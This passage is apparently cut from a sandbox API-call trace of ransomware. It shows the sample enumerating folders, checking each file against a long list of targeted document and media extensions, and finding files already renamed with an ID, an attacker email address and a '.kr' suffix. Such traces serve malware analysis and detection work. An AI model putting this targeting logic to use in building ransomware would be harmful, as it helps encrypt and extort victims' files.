returned 4 [0086.131] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dt") returned 3 [0086.131] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0086.131] lstrlenW (lpString=".dtd") returned 4 [0086.131] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dwg") returned 4 [0086.131] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dwt") returned 4 [0086.131] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dx") returned 3 [0086.131] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0086.131] lstrlenW (lpString=".dxf") returned 4 [0086.131] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".edml") returned 5 [0086.132] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0086.132] lstrlenW (lpString=".efd") returned 4 [0086.132] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".elf") returned 4 [0086.132] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".emf") returned 4 [0086.132] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".emz") returned 4 [0086.132] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".epf") returned 4 [0086.132] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".eps") returned 4 [0086.132] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".epsf") returned 5 [0086.132] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0086.132] lstrlenW (lpString=".epsp") returned 5 [0086.132] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0086.132] lstrlenW (lpString=".erf") returned 4 [0086.132] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".exr") returned 4 [0086.132] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".f4v") returned 4 [0086.132] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0086.132] lstrlenW (lpString=".fido") returned 5 [0086.132] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0086.133] lstrlenW (lpString=".flm") returned 4 [0086.133] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".flv") returned 4 [0086.133] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".frm") returned 4 [0086.133] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".fxg") returned 4 [0086.133] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".geo") returned 4 [0086.133] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".gif") returned 4 [0086.133] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".grs") returned 4 [0086.133] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".gz") returned 3 [0086.133] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0086.133] lstrlenW (lpString=".h") returned 2 [0086.133] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0086.133] lstrlenW (lpString=".hdr") returned 4 [0086.133] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".hpp") returned 4 [0086.133] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".hta") returned 4 [0086.133] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".htc") returned 4 [0086.133] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0086.133] lstrlenW (lpString=".htm") returned 4 [0086.134] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".html") returned 5 [0086.134] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0086.134] lstrlenW (lpString=".icb") returned 4 [0086.134] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".ics") returned 4 [0086.134] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".iff") returned 4 [0086.134] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".inc") returned 4 [0086.134] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".indd") returned 5 [0086.134] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0086.134] lstrlenW (lpString=".ini") returned 4 [0086.134] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".iqy") returned 4 [0086.134] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".j2c") returned 4 [0086.134] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".j2k") returned 4 [0086.134] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".java") returned 5 [0086.134] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0086.134] lstrlenW (lpString=".jp2") returned 4 [0086.134] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0086.134] lstrlenW (lpString=".jpc") returned 4 [0086.135] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".jpe") returned 4 [0086.135] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".jpeg") returned 5 [0086.135] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0086.135] lstrlenW (lpString=".jpf") returned 4 [0086.135] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".jpg") returned 4 [0086.135] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".jpx") returned 4 [0086.135] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".js") returned 3 [0086.135] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0086.135] lstrlenW (lpString=".jsf") returned 4 [0086.135] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".json") returned 5 [0086.135] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0086.135] lstrlenW (lpString=".jsp") returned 4 [0086.135] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".kdc") returned 4 [0086.135] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".kmz") returned 4 [0086.135] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".kwm") returned 4 [0086.135] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0086.135] lstrlenW (lpString=".lasso") returned 6 [0086.135] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0086.136] lstrlenW (lpString=".lbi") returned 4 [0086.136] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".lgf") returned 4 [0086.136] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".lgp") returned 4 [0086.136] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".log") returned 4 [0086.136] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".m1v") returned 4 [0086.136] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".m4a") returned 4 [0086.136] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".m4v") returned 4 [0086.136] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".max") returned 4 [0086.136] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".md") returned 3 [0086.136] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0086.136] lstrlenW (lpString=".mda") returned 4 [0086.136] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".mdb") returned 4 [0086.136] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".mde") returned 4 [0086.136] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".mdf") returned 4 [0086.136] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0086.136] lstrlenW (lpString=".mdw") returned 4 [0086.137] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mef") returned 4 [0086.137] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mft") returned 4 [0086.137] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mfw") returned 4 [0086.137] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mht") returned 4 [0086.137] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mhtml") returned 6 [0086.137] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0086.137] lstrlenW (lpString=".mka") returned 4 [0086.137] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mkidx") returned 6 [0086.137] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0086.137] lstrlenW (lpString=".mkv") returned 4 [0086.137] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mos") returned 4 [0086.137] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mov") returned 4 [0086.137] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mp3") returned 4 [0086.137] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mp4") returned 4 [0086.137] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0086.137] lstrlenW (lpString=".mpeg") returned 5 [0086.137] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0086.138] lstrlenW (lpString=".mpg") returned 4 [0086.138] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".mpv") returned 4 [0086.138] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".mrw") returned 4 [0086.138] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".msg") returned 4 [0086.138] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".mxl") returned 4 [0086.138] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".myd") returned 4 [0086.138] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".myi") returned 4 [0086.138] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".nef") returned 4 [0086.138] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".nrw") returned 4 [0086.138] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".obj") returned 4 [0086.138] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".odb") returned 4 [0086.138] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".odc") returned 4 [0086.138] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0086.138] lstrlenW (lpString=".odm") returned 4 [0086.138] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".odp") returned 4 [0086.139] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".ods") returned 4 [0086.139] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".oft") returned 4 [0086.139] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".one") returned 4 [0086.139] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".onepkg") returned 7 [0086.139] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0086.139] lstrlenW (lpString=".onetoc2") returned 8 [0086.139] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0086.139] lstrlenW (lpString=".opt") returned 4 [0086.139] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".oqy") returned 4 [0086.139] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".orf") returned 4 [0086.139] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".p12") returned 4 [0086.139] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".p7b") returned 4 [0086.139] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".p7c") returned 4 [0086.139] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0086.139] lstrlenW (lpString=".pam") returned 4 [0086.139] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pbm") returned 4 [0086.140] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pct") returned 4 [0086.140] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pcx") returned 4 [0086.140] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pdd") returned 4 [0086.140] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pdf") returned 4 [0086.140] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pdp") returned 4 [0086.140] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pef") returned 4 [0086.140] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pem") returned 4 [0086.140] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pff") returned 4 [0086.140] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pfm") returned 4 [0086.140] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pfx") returned 4 [0086.140] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".pgm") returned 4 [0086.140] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0086.140] lstrlenW (lpString=".php") returned 4 [0086.140] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0086.141] lstrlenW (lpString=".php3") returned 5 [0086.141] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".php4") returned 5 [0086.141] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".php5") returned 5 [0086.141] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".phtml") returned 6 [0086.141] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0086.141] lstrlenW (lpString=".pict") returned 5 [0086.141] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".pl") returned 3 [0086.141] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0086.141] lstrlenW (lpString=".pls") returned 4 [0086.141] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0086.141] lstrlenW (lpString=".pm") returned 3 [0086.141] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0086.141] lstrlenW (lpString=".png") returned 4 [0086.141] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0086.141] lstrlenW (lpString=".pnm") returned 4 [0086.141] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0086.141] lstrlenW (lpString=".pot") returned 4 [0086.141] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0086.141] lstrlenW (lpString=".potm") returned 5 [0086.141] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".potx") returned 5 [0086.141] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0086.141] lstrlenW (lpString=".ppa") returned 4 [0086.142] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".ppam") returned 5 [0086.142] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0086.142] lstrlenW (lpString=".ppm") returned 4 [0086.142] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".pps") returned 4 [0086.142] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".ppsm") returned 5 [0086.142] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0086.142] lstrlenW (lpString=".ppt") returned 4 [0086.142] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".pptm") returned 5 [0086.142] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0086.142] lstrlenW (lpString=".pptx") returned 5 [0086.142] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0086.142] lstrlenW (lpString=".prn") returned 4 [0086.142] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".ps") returned 3 [0086.142] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0086.142] lstrlenW (lpString=".psb") returned 4 [0086.142] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".psd") returned 4 [0086.142] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".pst") returned 4 [0086.142] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0086.142] lstrlenW (lpString=".ptx") returned 4 [0086.143] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".pub") returned 4 [0086.143] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".pwm") returned 4 [0086.143] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".pxr") returned 4 [0086.143] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".py") returned 3 [0086.143] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0086.143] lstrlenW (lpString=".qt") returned 3 [0086.143] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0086.143] lstrlenW (lpString=".r3d") returned 4 [0086.143] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".raf") returned 4 [0086.143] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0086.143] lstrlenW (lpString=".rar") returned 4 [0086.143] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0086.143] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc616e3a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc616e3a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6194809, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0086.143] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.814] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.814] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0086.857] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0086.857] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0086.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0086.858] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1044") returned 1 [0086.858] lstrlenW (lpString="1044") returned 4 [0086.858] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1044") returned 1 [0086.858] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0086.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26 [0086.858] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0086.858] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.858] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6469438, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0086.858] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0086.858] lstrlenW (lpString=".1cd") returned 4 [0086.858] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".3ds") returned 4 [0086.859] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".3fr") returned 4 [0086.859] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".3g2") returned 4 [0086.859] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".3gp") returned 4 [0086.859] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".7z") returned 3 [0086.859] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0086.859] lstrlenW (lpString=".accda") returned 6 [0086.859] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".accdb") returned 6 [0086.859] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".accdc") returned 6 [0086.859] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".accde") returned 6 [0086.859] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".accdt") returned 6 [0086.859] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".accdw") returned 6 [0086.859] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0086.859] lstrlenW (lpString=".adb") returned 4 [0086.859] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".adp") returned 4 [0086.859] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0086.859] lstrlenW (lpString=".ai") returned 3 [0086.860] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0086.860] lstrlenW (lpString=".ai3") returned 4 [0086.860] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ai4") returned 4 [0086.860] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ai5") returned 4 [0086.860] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ai6") returned 4 [0086.860] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ai7") returned 4 [0086.860] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ai8") returned 4 [0086.860] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".anim") returned 5 [0086.860] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0086.860] lstrlenW (lpString=".arw") returned 4 [0086.860] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".as") returned 3 [0086.860] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0086.860] lstrlenW (lpString=".asa") returned 4 [0086.860] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".asc") returned 4 [0086.860] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0086.860] lstrlenW (lpString=".ascx") returned 5 [0086.860] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0086.860] lstrlenW (lpString=".asm") returned 4 [0086.860] 